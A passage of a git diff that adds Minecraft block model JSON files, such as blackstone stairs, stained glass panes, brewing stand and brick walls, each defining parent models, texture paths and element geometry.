100644 index 00000000..a2748b55 --- /dev/null +++ b/src/assets/minecraft/models/block/black_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/black_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_concrete_powder.json b/src/assets/minecraft/models/block/black_concrete_powder.json new file mode 100644 index 00000000..63374351 --- /dev/null +++ b/src/assets/minecraft/models/block/black_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/black_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_glazed_terracotta.json b/src/assets/minecraft/models/block/black_glazed_terracotta.json new file mode 100644 index 00000000..f973bbba --- /dev/null +++ b/src/assets/minecraft/models/block/black_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/black_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_shulker_box.json b/src/assets/minecraft/models/block/black_shulker_box.json new file mode 100644 index 00000000..0e74df95 --- /dev/null +++ b/src/assets/minecraft/models/block/black_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/black_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_stained_glass.json b/src/assets/minecraft/models/block/black_stained_glass.json new file mode 100644 index 00000000..5d66a695 --- /dev/null +++ b/src/assets/minecraft/models/block/black_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/black_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/black_stained_glass_pane_noside.json new file mode 100644 index 00000000..bc943b0a --- /dev/null +++ b/src/assets/minecraft/models/block/black_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/black_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/black_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..3d66b75f --- /dev/null +++ b/src/assets/minecraft/models/block/black_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/black_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_stained_glass_pane_post.json b/src/assets/minecraft/models/block/black_stained_glass_pane_post.json new file mode 100644 index 00000000..2ee2f2da --- /dev/null +++ b/src/assets/minecraft/models/block/black_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/black_stained_glass", + "edge": "minecraft:block/black_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_stained_glass_pane_side.json b/src/assets/minecraft/models/block/black_stained_glass_pane_side.json new file mode 100644 index 00000000..60c31328 --- /dev/null +++ b/src/assets/minecraft/models/block/black_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/black_stained_glass", + "edge": "minecraft:block/black_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/black_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..f90397f6 --- /dev/null +++ b/src/assets/minecraft/models/block/black_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/black_stained_glass", + "edge": "minecraft:block/black_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_terracotta.json b/src/assets/minecraft/models/block/black_terracotta.json new file mode 100644 index 00000000..a8ff478c --- /dev/null +++ b/src/assets/minecraft/models/block/black_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/black_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_wool.json b/src/assets/minecraft/models/block/black_wool.json new file mode 100644 index 00000000..7fea63ff --- /dev/null +++ b/src/assets/minecraft/models/block/black_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/black_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blackstone.json b/src/assets/minecraft/models/block/blackstone.json new file mode 100644 index 00000000..d6e7b585 --- /dev/null +++ b/src/assets/minecraft/models/block/blackstone.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/blackstone_top", + "side": "minecraft:block/blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blackstone_slab.json b/src/assets/minecraft/models/block/blackstone_slab.json new file mode 100644 index 00000000..f5ab2cf2 --- /dev/null +++ b/src/assets/minecraft/models/block/blackstone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/blackstone_top", + "top": "minecraft:block/blackstone_top", + "side": "minecraft:block/blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blackstone_slab_top.json b/src/assets/minecraft/models/block/blackstone_slab_top.json new file mode 100644 index 00000000..292aa73f --- /dev/null +++ b/src/assets/minecraft/models/block/blackstone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/blackstone_top", + "top": "minecraft:block/blackstone_top", + "side": "minecraft:block/blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blackstone_stairs.json b/src/assets/minecraft/models/block/blackstone_stairs.json new file mode 100644 index 00000000..1634f76d --- /dev/null +++ b/src/assets/minecraft/models/block/blackstone_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/blackstone_top", + "top": "minecraft:block/blackstone_top", + "side": "minecraft:block/blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blackstone_stairs_inner.json b/src/assets/minecraft/models/block/blackstone_stairs_inner.json new file mode 100644 index 00000000..2ded6203 --- /dev/null +++ b/src/assets/minecraft/models/block/blackstone_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/blackstone_top", + "top": "minecraft:block/blackstone_top", + "side": "minecraft:block/blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blackstone_stairs_outer.json b/src/assets/minecraft/models/block/blackstone_stairs_outer.json new file mode 100644 index 00000000..6e989efd --- /dev/null +++ b/src/assets/minecraft/models/block/blackstone_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/blackstone_top", + "top": "minecraft:block/blackstone_top", + "side": "minecraft:block/blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blackstone_wall_inventory.json b/src/assets/minecraft/models/block/blackstone_wall_inventory.json new file mode 100644 index 00000000..6e8029ce --- /dev/null +++ b/src/assets/minecraft/models/block/blackstone_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blackstone_wall_post.json b/src/assets/minecraft/models/block/blackstone_wall_post.json new file mode 100644 index 00000000..a2b66ca3 --- /dev/null +++ b/src/assets/minecraft/models/block/blackstone_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blackstone_wall_side.json b/src/assets/minecraft/models/block/blackstone_wall_side.json new file mode 100644 index 00000000..152d2fe4 --- /dev/null +++ b/src/assets/minecraft/models/block/blackstone_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blackstone_wall_side_tall.json b/src/assets/minecraft/models/block/blackstone_wall_side_tall.json new file mode 100644 index 00000000..3a662254 --- /dev/null +++ b/src/assets/minecraft/models/block/blackstone_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blast_furnace.json b/src/assets/minecraft/models/block/blast_furnace.json new file mode 100644 index 00000000..66496b00 --- /dev/null +++ b/src/assets/minecraft/models/block/blast_furnace.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/orientable", + "textures": { + "top": "minecraft:block/blast_furnace_top", + "front": "minecraft:block/blast_furnace_front", + "side": "minecraft:block/blast_furnace_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blast_furnace_on.json b/src/assets/minecraft/models/block/blast_furnace_on.json new file mode 100644 index 00000000..2cc8a03f --- /dev/null +++ b/src/assets/minecraft/models/block/blast_furnace_on.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/orientable", + "textures": { + "top": "minecraft:block/blast_furnace_top", + "front": "minecraft:block/blast_furnace_front_on", + "side": "minecraft:block/blast_furnace_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/block.json b/src/assets/minecraft/models/block/block.json new file mode 100644 index 00000000..aefa892b --- /dev/null +++ b/src/assets/minecraft/models/block/block.json @@ -0,0 +1,35 @@ +{ + "gui_light": "side", + "display": { + "gui": { + "rotation": [ 30, 225, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.625, 0.625, 0.625 ] + }, + "ground": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 3, 0], + "scale":[ 0.25, 0.25, 0.25 ] + }, + "fixed": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 0, 0], + "scale":[ 0.5, 0.5, 0.5 ] + }, + "thirdperson_righthand": { + "rotation": [ 75, 45, 0 ], + "translation": [ 0, 2.5, 0], + "scale": [ 0.375, 0.375, 0.375 ] + }, + "firstperson_righthand": { + "rotation": [ 0, 45, 0 ], + "translation": [ 0, 0, 0 ], + "scale": [ 0.40, 0.40, 0.40 ] + }, + "firstperson_lefthand": { + "rotation": [ 0, 225, 0 ], + "translation": [ 0, 0, 0 ], + "scale": [ 0.40, 0.40, 0.40 ] + } + } +} diff --git a/src/assets/minecraft/models/block/blue_carpet.json b/src/assets/minecraft/models/block/blue_carpet.json new file mode 100644 index 00000000..be41fd87 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/blue_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_concrete.json b/src/assets/minecraft/models/block/blue_concrete.json new file mode 100644 index 00000000..b2423fb6 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/blue_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_concrete_powder.json b/src/assets/minecraft/models/block/blue_concrete_powder.json new file mode 100644 index 00000000..7ceaeb51 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/blue_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_glazed_terracotta.json b/src/assets/minecraft/models/block/blue_glazed_terracotta.json new file mode 100644 index 00000000..ecb17356 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/blue_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_ice.json b/src/assets/minecraft/models/block/blue_ice.json new file mode 100644 index 00000000..9164aee5 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_ice.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/blue_ice" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_orchid.json b/src/assets/minecraft/models/block/blue_orchid.json new file mode 100644 index 00000000..a7f9b4b2 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_orchid.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/blue_orchid" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_shulker_box.json b/src/assets/minecraft/models/block/blue_shulker_box.json new file mode 100644 index 00000000..29b739d8 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/blue_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_stained_glass.json b/src/assets/minecraft/models/block/blue_stained_glass.json new file mode 100644 index 00000000..e372ce34 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/blue_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/blue_stained_glass_pane_noside.json new file mode 100644 index 00000000..fa1dd06d --- /dev/null +++ b/src/assets/minecraft/models/block/blue_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/blue_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/blue_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..70faad04 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/blue_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_stained_glass_pane_post.json b/src/assets/minecraft/models/block/blue_stained_glass_pane_post.json new file mode 100644 index 00000000..2a169fcb --- /dev/null +++ b/src/assets/minecraft/models/block/blue_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/blue_stained_glass", + "edge": "minecraft:block/blue_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_stained_glass_pane_side.json b/src/assets/minecraft/models/block/blue_stained_glass_pane_side.json new file mode 100644 index 00000000..be2a0206 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/blue_stained_glass", + "edge": "minecraft:block/blue_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/blue_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..da430978 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/blue_stained_glass", + "edge": "minecraft:block/blue_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_terracotta.json b/src/assets/minecraft/models/block/blue_terracotta.json new file mode 100644 index 00000000..ead56974 --- /dev/null +++ b/src/assets/minecraft/models/block/blue_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/blue_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/blue_wool.json b/src/assets/minecraft/models/block/blue_wool.json new file mode 100644 index 00000000..4fb7fa5b --- /dev/null +++ b/src/assets/minecraft/models/block/blue_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/blue_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bone_block.json b/src/assets/minecraft/models/block/bone_block.json new file mode 100644 index 00000000..f6594f0d --- /dev/null +++ b/src/assets/minecraft/models/block/bone_block.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/bone_block_top", + "side": "minecraft:block/bone_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bookshelf.json b/src/assets/minecraft/models/block/bookshelf.json new file mode 100644 index 00000000..c095a7d7 --- /dev/null +++ b/src/assets/minecraft/models/block/bookshelf.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/oak_planks", + "side": "minecraft:block/bookshelf" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brain_coral.json b/src/assets/minecraft/models/block/brain_coral.json new file mode 100644 index 00000000..308083fc --- /dev/null +++ b/src/assets/minecraft/models/block/brain_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/brain_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brain_coral_block.json b/src/assets/minecraft/models/block/brain_coral_block.json new file mode 100644 index 00000000..6e7ddb61 --- /dev/null +++ b/src/assets/minecraft/models/block/brain_coral_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/brain_coral_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brain_coral_fan.json b/src/assets/minecraft/models/block/brain_coral_fan.json new file mode 100644 index 00000000..a2128699 --- /dev/null +++ b/src/assets/minecraft/models/block/brain_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_fan", + "textures": { + "fan": "minecraft:block/brain_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brain_coral_wall_fan.json b/src/assets/minecraft/models/block/brain_coral_wall_fan.json new file mode 100644 index 00000000..20b56103 --- /dev/null +++ b/src/assets/minecraft/models/block/brain_coral_wall_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_wall_fan", + "textures": { + "fan": "minecraft:block/brain_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brewing_stand.json b/src/assets/minecraft/models/block/brewing_stand.json new file mode 100644 index 00000000..d1804f23 --- /dev/null +++ b/src/assets/minecraft/models/block/brewing_stand.json @@ -0,0 +1,53 @@ +{ + "textures": { + "particle": "block/brewing_stand", + "base": "block/brewing_stand_base", + "stand": "block/brewing_stand" + }, + "elements": [ + { "from": [ 7, 0, 7 ], + "to": [ 9, 14, 9 ], + "faces": { + "down": { "uv": [ 7, 7, 9, 9 ], "texture": "#stand" }, + "up": { "uv": [ 7, 7, 9, 9 ], "texture": "#stand" }, + "north": { "uv": [ 7, 2, 9, 16 ], "texture": "#stand" }, + "south": { "uv": [ 7, 2, 9, 16 ], "texture": "#stand" }, + "west": { "uv": [ 7, 2, 9, 16 ], "texture": "#stand" }, + "east": { "uv": [ 7, 2, 9, 16 ], "texture": "#stand" } + } + }, + { "from": [ 9, 0, 5 ], + "to": [ 15, 2, 11 ], + "faces": { + "down": { "uv": [ 9, 5, 15, 11 ], "texture": "#base", "cullface": "down" }, + "up": { "uv": [ 9, 5, 15, 11 ], "texture": "#base" }, + "north": { "uv": [ 9, 14, 15, 16 ], "texture": "#base" }, + "south": { "uv": [ 9, 14, 15, 16 ], "texture": "#base" }, + "west": { "uv": [ 5, 14, 11, 16 ], "texture": "#base" }, + "east": { "uv": [ 5, 14, 11, 16 ], "texture": "#base" } + } + }, + { "from": [ 2, 0, 1 ], + "to": [ 8, 2, 7 ], + "faces": { + "down": { "uv": [ 2, 1, 8, 7 ], "texture": "#base", "cullface": "down" }, + "up": { "uv": [ 2, 1, 8, 7 ], "texture": "#base" }, + "north": { "uv": [ 2, 14, 8, 16 ], "texture": "#base" }, + "south": { "uv": [ 2, 14, 8, 16 ], "texture": "#base" }, + "west": { "uv": [ 1, 14, 7, 16 ], "texture": "#base" }, + "east": { "uv": [ 1, 14, 7, 16 ], "texture": "#base" } + } + }, + { "from": [ 2, 0, 9 ], + "to": [ 8, 2, 15 ], + "faces": { + "down": { "uv": [ 2, 9, 8, 15 ], "texture": "#base", "cullface": "down" }, + "up": { "uv": [ 2, 9, 8, 15 ], "texture": "#base" }, + "north": { "uv": [ 2, 14, 8, 16 ], "texture": "#base" }, + "south": { "uv": [ 2, 14, 8, 16 ], "texture": "#base" }, + "west": { "uv": [ 9, 14, 15, 16 ], "texture": "#base" }, + "east": { "uv": [ 9, 14, 15, 16 ], "texture": "#base" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/brewing_stand_bottle0.json b/src/assets/minecraft/models/block/brewing_stand_bottle0.json new file mode 100644 index 00000000..012ffa85 --- /dev/null +++ b/src/assets/minecraft/models/block/brewing_stand_bottle0.json @@ -0,0 +1,15 @@ +{ + "textures": { + "particle": "block/brewing_stand", + "stand": "block/brewing_stand" + }, + "elements": [ + { "from": [ 8, 0, 8 ], + "to": [ 16, 16, 8 ], + "faces": { + "north": { "uv": [ 0, 0, 8, 16 ], "texture": "#stand" }, + "south": { "uv": [ 8, 0, 0, 16 ], "texture": "#stand" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/brewing_stand_bottle1.json b/src/assets/minecraft/models/block/brewing_stand_bottle1.json new file mode 100644 index 00000000..9e989cde --- /dev/null +++ b/src/assets/minecraft/models/block/brewing_stand_bottle1.json @@ -0,0 +1,20 @@ +{ + "textures": { + "particle": "block/brewing_stand", + "stand": "block/brewing_stand" + }, + "elements": [ + { "from": [ -0.41, 0, 8 ], + "to": [ 7.59, 16, 8 ], + "rotation": { + "origin": [ 8, 8, 8 ], + "axis": "y", + "angle": -45 + }, + "faces": { + "north": { "uv": [ 8, 0, 0, 16 ], "texture": "#stand" }, + "south": { "uv": [ 0, 0, 8, 16 ], "texture": "#stand" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/brewing_stand_bottle2.json b/src/assets/minecraft/models/block/brewing_stand_bottle2.json new file mode 100644 index 00000000..4796f71f --- /dev/null +++ b/src/assets/minecraft/models/block/brewing_stand_bottle2.json @@ -0,0 +1,20 @@ +{ + "textures": { + "particle": "block/brewing_stand", + "stand": "block/brewing_stand" + }, + "elements": [ + { "from": [ -0.41, 0, 8 ], + "to": [ 7.59, 16, 8 ], + "rotation": { + "origin": [ 8, 8, 8 ], + "axis": "y", + "angle": 45 + }, + "faces": { + "north": { "uv": [ 8, 0, 0, 16 ], "texture": "#stand" }, + "south": { "uv": [ 0, 0, 8, 16 ], "texture": "#stand" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/brewing_stand_empty0.json b/src/assets/minecraft/models/block/brewing_stand_empty0.json new file mode 100644 index 00000000..a99c90cc --- /dev/null +++ b/src/assets/minecraft/models/block/brewing_stand_empty0.json @@ -0,0 +1,15 @@ +{ + "textures": { + "particle": "block/brewing_stand", + "stand": "block/brewing_stand" + }, + "elements": [ + { "from": [ 8, 0, 8 ], + "to": [ 16, 16, 8 ], + "faces": { + "north": { "uv": [ 16, 0, 8, 16 ], "texture": "#stand" }, + "south": { "uv": [ 8, 0, 16, 16 ], "texture": "#stand" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/brewing_stand_empty1.json b/src/assets/minecraft/models/block/brewing_stand_empty1.json new file mode 100644 index 00000000..47b78c29 --- /dev/null +++ b/src/assets/minecraft/models/block/brewing_stand_empty1.json @@ -0,0 +1,20 @@ +{ + "textures": { + "particle": "block/brewing_stand", + "stand": "block/brewing_stand" + }, + "elements": [ + { "from": [ 0, 0, 8 ], + "to": [ 8, 16, 8 ], + "rotation": { + "origin": [ 8, 8, 8 ], + "axis": "y", + "angle": -45 + }, + "faces": { + "north": { "uv": [ 8, 0, 16, 16 ], "texture": "#stand" }, + "south": { "uv": [ 16, 0, 8, 16 ], "texture": "#stand" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/brewing_stand_empty2.json b/src/assets/minecraft/models/block/brewing_stand_empty2.json new file mode 100644 index 00000000..d3e3adf5 --- /dev/null +++ b/src/assets/minecraft/models/block/brewing_stand_empty2.json @@ -0,0 +1,20 @@ +{ + "textures": { + "particle": "block/brewing_stand", + "stand": "block/brewing_stand" + }, + "elements": [ + { "from": [ 0, 0, 8 ], + "to": [ 8, 16, 8 ], + "rotation": { + "origin": [ 8, 8, 8 ], + "axis": "y", + "angle": 45 + }, + "faces": { + "north": { "uv": [ 8, 0, 16, 16 ], "texture": "#stand" }, + "south": { "uv": [ 16, 0, 8, 16 ], "texture": "#stand" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/brick_slab.json b/src/assets/minecraft/models/block/brick_slab.json new file mode 100644 index 00000000..e0264259 --- /dev/null +++ b/src/assets/minecraft/models/block/brick_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/bricks", + "top": "minecraft:block/bricks", + "side": "minecraft:block/bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brick_slab_top.json b/src/assets/minecraft/models/block/brick_slab_top.json new file mode 100644 index 00000000..fa81ed39 --- /dev/null +++ b/src/assets/minecraft/models/block/brick_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/bricks", + "top": "minecraft:block/bricks", + "side": "minecraft:block/bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brick_stairs.json b/src/assets/minecraft/models/block/brick_stairs.json new file mode 100644 index 00000000..fe52117e --- /dev/null +++ b/src/assets/minecraft/models/block/brick_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/bricks", + "top": "minecraft:block/bricks", + "side": "minecraft:block/bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brick_stairs_inner.json b/src/assets/minecraft/models/block/brick_stairs_inner.json new file mode 100644 index 00000000..5bb4aa93 --- /dev/null +++ b/src/assets/minecraft/models/block/brick_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/bricks", + "top": "minecraft:block/bricks", + "side": "minecraft:block/bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brick_stairs_outer.json b/src/assets/minecraft/models/block/brick_stairs_outer.json new file mode 100644 index 00000000..5ab7b915 --- /dev/null +++ b/src/assets/minecraft/models/block/brick_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/bricks", + "top": "minecraft:block/bricks", + "side": "minecraft:block/bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brick_wall_inventory.json b/src/assets/minecraft/models/block/brick_wall_inventory.json new file mode 100644 index 00000000..5d6f8a8f --- /dev/null +++ b/src/assets/minecraft/models/block/brick_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brick_wall_post.json b/src/assets/minecraft/models/block/brick_wall_post.json new file mode 100644 index 00000000..5d343dfe --- /dev/null +++ b/src/assets/minecraft/models/block/brick_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brick_wall_side.json b/src/assets/minecraft/models/block/brick_wall_side.json new file mode 100644 index 00000000..94872eff --- /dev/null +++ b/src/assets/minecraft/models/block/brick_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brick_wall_side_tall.json b/src/assets/minecraft/models/block/brick_wall_side_tall.json new file mode 100644 index 00000000..79839982 --- /dev/null +++ b/src/assets/minecraft/models/block/brick_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bricks.json b/src/assets/minecraft/models/block/bricks.json new file mode 100644 index 00000000..b3d7b55b --- /dev/null +++ b/src/assets/minecraft/models/block/bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_carpet.json b/src/assets/minecraft/models/block/brown_carpet.json new file mode 100644 index 00000000..1befa625 --- /dev/null +++ 